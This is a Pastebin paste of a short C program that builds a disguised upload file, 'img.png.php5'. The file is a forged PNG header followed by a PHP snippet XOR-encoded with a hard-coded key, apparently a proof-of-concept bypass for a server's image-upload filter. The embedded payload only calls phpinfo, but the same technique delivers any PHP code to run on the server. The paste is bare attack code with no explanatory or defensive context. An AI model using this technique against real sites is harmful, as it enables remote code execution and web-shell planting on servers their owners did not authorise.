Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- unsigned char fakeHeader[56] = {
- 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
- 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x0D, 0x08, 0x06, 0x00, 0x00, 0x00, 0x76, 0x1E, 0x34,
- 0x41, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00,
- 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00
- };
- char key[]="concavangmauxanhlacay";
- char content[]=" <?php phpinfo(); ?>";
- int i,j;
- int v5,v6;
- int main(){
- FILE*f=fopen("img.png.php5","wb");
- fwrite(fakeHeader,1,56,f);
- v6=strlen(content);
- v5 = strlen(key);
- for ( i = 0; i < v6; ++i )
- content[i] ^= key[(56+i) % v5];
- fwrite(content,1,v6,f);
- fclose(f);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement